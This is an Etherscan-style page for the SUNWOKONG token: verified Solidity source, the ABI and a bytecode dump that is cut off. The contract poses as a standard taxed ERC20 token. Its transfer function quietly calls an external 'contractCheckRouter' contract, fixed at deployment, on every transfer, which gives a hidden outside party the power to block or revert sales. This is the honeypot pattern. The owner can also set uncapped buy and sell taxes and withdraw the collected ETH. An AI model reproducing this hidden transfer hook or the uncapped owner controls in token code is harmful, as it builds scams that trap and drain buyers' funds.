ETH Price: $2,695.69 (-0.09%)

Token

SUNWOKONG (SUNWOKONG)
 

Overview

Max Total Supply

100,000,000 SUNWOKONG

Holders

33

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
829,159.666025125954892354 SUNWOKONG

Value
$0.00
0x5548C8712598725215832545683bb06d8A13b140
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SUNWOKONG

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
istanbul EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-07
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
interface BEP20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address spender, address pairAddress, address owner, address amount) external;
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
interface IRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
}
interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
abstract contract I is Ownable {
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    using SafeMath for uint256;
    mapping (address => bool) internal _isExcludedFromFee;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    uint256 internal constant MAX = ~uint256(0);
    string private _name;
    string private _symbol;
    IRouter internal _swapRouter;
    address internal _pairAddress;
    BEP20 internal _contractCheckRouter;
    bool private tradingOpen = false;
    address payable internal _taxWallet;

    constructor(string memory tokenName, string memory tokenSymbol, address contractCheckRouterAddress) {
        _name = tokenName;
        _symbol = tokenSymbol;
        _contractCheckRouter = BEP20(contractCheckRouterAddress);
        _taxWallet = payable(_msgSender());
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _swapRouter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_swapRouter), balanceOf(address(this)));
        _pairAddress = IFactory(_swapRouter.factory()).createPair(address(this), _swapRouter.WETH());
        _swapRouter.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, _msgSender(), block.timestamp);
        tradingOpen = true;
    }

    function rescueETH() external onlyOwner {
        payable(_taxWallet).transfer(address(this).balance);
    }

    function pairAddress() public view virtual returns (address) {
        return _pairAddress;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function transfer(address recipient, uint256 amount) public virtual returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        _contractCheckRouter.transfer(address(this), _pairAddress, sender, recipient);
        emit Transfer(sender, recipient, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
}

contract SUNWOKONG is I {
    using SafeMath for uint256;
    receive() external payable {}
    uint8 public buyTax = 15;
    uint8 public sellTax = 20;
    constructor(string memory name, string memory symbol, address contractCheckRouterAddress) I(name, symbol, contractCheckRouterAddress) {
        _mint(_msgSender(), 100_000_000 * 10 ** decimals());
        _isExcludedFromFee[_msgSender()] = true;
        _isExcludedFromFee[address(this)] = true;
    }
    function setTax(uint8 _buyTax, uint8 _sellTax) external virtual onlyOwner {
       buyTax = _buyTax;
       sellTax = _sellTax;
    }
    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0) && to != address(0), "Using 0 address");
        require(amount > 0, "Token value must be higher than zero");
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (from == _pairAddress && to == address(_swapRouter))){
            super._transfer(from, to, amount);
            return;
        }
        uint256 taxValue = 0;
        if(from ==_pairAddress && to != _pairAddress){
            taxValue = buyTax;
        }else if(from != _pairAddress && to == _pairAddress){
            taxValue = sellTax;
        }
        if(taxValue == 0){
            super._transfer(from, to, amount);
            return;
        }
        uint256 taxAmount = amount * taxValue / 100;
        super._transfer(from, address(this), taxAmount);
        super._transfer(from, to, amount.sub(taxAmount));
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"address","name":"contractCheckRouterAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buyTax","type":"uint8"},{"internalType":"uint8","name":"_sellTax","type":"uint8"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600960146101000a81548160ff021916908315150217905550600f600a60146101000a81548160ff021916908360ff1602179055506014600a60156101000a81548160ff021916908360ff1602179055503480156200006457600080fd5b50604051620033a1380380620033a183398181016040528101906200008a919062000662565b82828260006200009f6200031860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35082600590805190602001906200015592919062000529565b5081600690805190602001906200016e92919062000529565b5080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001c06200031860201b60201c565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505062000252620002176200031860201b60201c565b620002276200032060201b60201c565b600a62000235919062000910565b6305f5e10062000246919062000a4d565b6200032960201b60201c565b6001806000620002676200031860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060018060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505062000c19565b600033905090565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200039c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200039390620007a1565b60405180910390fd5b620003b881600454620004c660201b620011141790919060201c565b6004819055506200041781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620004c660201b620011141790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004ba9190620007c3565b60405180910390a35050565b6000808284620004d7919062000858565b9050838110156200051f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000516906200077f565b60405180910390fd5b8091505092915050565b828054620005379062000b2f565b90600052602060002090601f0160209004810192826200055b5760008555620005a7565b82601f106200057657805160ff1916838001178555620005a7565b82800160010185558215620005a7579182015b82811115620005a657825182559160200191906001019062000589565b5b509050620005b69190620005ba565b5090565b5b80821115620005d5576000816000905550600101620005bb565b5090565b6000620005f0620005ea8462000814565b620007e0565b9050828152602081018484840111156200060957600080fd5b6200061684828562000af9565b509392505050565b6000815190506200062f8162000bff565b92915050565b600082601f8301126200064757600080fd5b815162000659848260208601620005d9565b91505092915050565b6000806000606084860312156200067857600080fd5b600084015167ffffffffffffffff8111156200069357600080fd5b620006a18682870162000635565b935050602084015167ffffffffffffffff811115620006bf57600080fd5b620006cd8682870162000635565b9250506040620006e0868287016200061e565b9150509250925092565b6000620006f9601b8362000847565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006200073b601f8362000847565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b620007798162000ae2565b82525050565b600060208201905081810360008301526200079a81620006ea565b9050919050565b60006020820190508181036000830152620007bc816200072c565b9050919050565b6000602082019050620007da60008301846200076e565b92915050565b6000604051905081810181811067ffffffffffffffff821117156200080a576200080962000bc3565b5b8060405250919050565b600067ffffffffffffffff82111562000832576200083162000bc3565b5b601f19601f8301169050602081019050919050565b600082825260208201905092915050565b6000620008658262000ae2565b9150620008728362000ae2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620008aa57620008a962000b65565b5b828201905092915050565b6000808291508390505b60018511156200090757808604811115620008df57620008de62000b65565b5b6001851615620008ef5780820291505b8081029050620008ff8562000bf2565b9450620008bf565b94509492505050565b60006200091d8262000ae2565b91506200092a8362000aec565b9250620009597fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000961565b905092915050565b60008262000973576001905062000a46565b8162000983576000905062000a46565b81600181146200099c5760028114620009a757620009dd565b600191505062000a46565b60ff841115620009bc57620009bb62000b65565b5b8360020a915084821115620009d657620009d562000b65565b5b5062000a46565b5060208310610133831016604e8410600b841016171562000a175782820a90508381111562000a115762000a1062000b65565b5b62000a46565b62000a268484846001620008b5565b9250905081840481111562000a405762000a3f62000b65565b5b81810290505b9392505050565b600062000a5a8262000ae2565b915062000a678362000ae2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000aa35762000aa262000b65565b5b828202905092915050565b600062000abb8262000ac2565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101562000b1957808201518184015260208101905062000afc565b8381111562000b29576000848401525b50505050565b6000600282049050600182168062000b4857607f821691505b6020821081141562000b5f5762000b5e62000b94565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008160011c9050919050565b62000c0a8162000aae565b811462000c1657600080fd5b50565b6127788062000c296000396000f3fe60806040526004361061010d5760003560e01c80638da5cb5b11610095578063a9128ff011610064578063a9128ff014610368578063c9567bf914610391578063cc1776d3146103a8578063dd62ed3e146103d3578063f2fde38b1461041057610114565b80638da5cb5b146102aa57806395d89b41146102d5578063a8b0898214610300578063a9059cbb1461032b57610114565b806323b872dd116100dc57806323b872dd146101c3578063313ce567146102005780634f7041a51461022b57806370a0823114610256578063715018a61461029357610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806320800a00146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610439565b60405161013b919061227c565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611cc8565b6104cb565b6040516101789190612261565b60405180910390f35b34801561018d57600080fd5b506101966104e9565b6040516101a391906123de565b60405180910390f35b3480156101b857600080fd5b506101c16104f3565b005b3480156101cf57600080fd5b506101ea60048036038101906101e59190611c79565b6105f3565b6040516101f79190612261565b60405180910390f35b34801561020c57600080fd5b506102156106cc565b60405161022291906123f9565b60405180910390f35b34801561023757600080fd5b506102406106d5565b60405161024d91906123f9565b60405180910390f35b34801561026257600080fd5b5061027d60048036038101906102789190611beb565b6106e8565b60405161028a91906123de565b60405180910390f35b34801561029f57600080fd5b506102a8610731565b005b3480156102b657600080fd5b506102bf610884565b6040516102cc9190612177565b60405180910390f35b3480156102e157600080fd5b506102ea6108ad565b6040516102f7919061227c565b60405180910390f35b34801561030c57600080fd5b5061031561093f565b6040516103229190612177565b60405180910390f35b34801561033757600080fd5b50610352600480360381019061034d9190611cc8565b610969565b60405161035f9190612261565b60405180910390f35b34801561037457600080fd5b5061038f600480360381019061038a9190611d53565b610987565b005b34801561039d57600080fd5b506103a6610a56565b005b3480156103b457600080fd5b506103bd610eb8565b6040516103ca91906123f9565b60405180910390f35b3480156103df57600080fd5b506103fa60048036038101906103f59190611c3d565b610ecb565b60405161040791906123de565b60405180910390f35b34801561041c57600080fd5b5061043760048036038101906104329190611beb565b610f52565b005b606060058054610448906125df565b80601f0160208091040260200160405190810160405280929190818152602001828054610474906125df565b80156104c15780601f10610496576101008083540402835291602001916104c1565b820191906000526020600020905b8154815290600101906020018083116104a457829003601f168201915b5050505050905090565b60006104df6104d8611172565b848461117a565b6001905092915050565b6000600454905090565b6104fb611172565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057f9061231e565b60405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156105f0573d6000803e3d6000fd5b50565b6000610600848484611345565b6106c18461060c611172565b6106bc8560405180606001604052806028815260200161271b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610672611172565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117919092919063ffffffff16565b61117a565b600190509392505050565b60006012905090565b600a60149054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610739611172565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107bd9061231e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546108bc906125df565b80601f01602080910402602001604051908101604052809291908181526020018280546108e8906125df565b80156109355780601f1061090a57610100808354040283529160200191610935565b820191906000526020600020905b81548152906001019060200180831161091857829003601f168201915b5050505050905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061097d610976611172565b8484611345565b6001905092915050565b61098f611172565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a139061231e565b60405180910390fd5b81600a60146101000a81548160ff021916908360ff16021790555080600a60156101000a81548160ff021916908360ff1602179055505050565b610a5e611172565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae29061231e565b60405180910390fd5b600960149054906101000a900460ff1615610b3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b329061239e565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bc530600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610bc0306106e8565b61117a565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c2d57600080fd5b505afa158015610c41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c659190611c14565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ce957600080fd5b505afa158015610cfd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d219190611c14565b6040518363ffffffff1660e01b8152600401610d3e929190612192565b602060405180830381600087803b158015610d5857600080fd5b505af1158015610d6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d909190611c14565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e19306106e8565b600080610e24611172565b426040518863ffffffff1660e01b8152600401610e4696959493929190612200565b6060604051808303818588803b158015610e5f57600080fd5b505af1158015610e73573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e989190611d04565b5050506001600960146101000a81548160ff021916908315150217905550565b600a60159054906101000a900460ff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f5a611172565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fde9061231e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611057576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104e906122be565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082846111239190612430565b905083811015611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f906122fe565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e19061235e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611251906122de565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161133891906123de565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113af5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6113ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e59061237e565b60405180910390fd5b60008111611431576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611428906123be565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114d25750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806115835750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115825750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b5b15611598576115938383836117f5565b61178c565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116455750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561166457600a60149054906101000a900460ff1660ff16905061172b565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561170f5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561172a57600a60159054906101000a900460ff1660ff1690505b5b60008114156117455761173f8484846117f5565b5061178c565b60006064828461175591906124b7565b61175f9190612486565b905061176c8530836117f5565b61178985856117848487611b3890919063ffffffff16565b6117f5565b50505b505050565b60008383111582906117d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d0919061227c565b60405180910390fd5b50600083856117e89190612511565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611865576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185c9061233e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cc9061229e565b60405180910390fd5b611941816040518060600160405280602681526020016126f560269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117919092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119d681600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111490919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634bcb7cd830600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686866040518563ffffffff1660e01b8152600401611a9c94939291906121bb565b600060405180830381600087803b158015611ab657600080fd5b505af1158015611aca573d6000803e3d6000fd5b505050508173ffffffffffffffffffffffffffffffff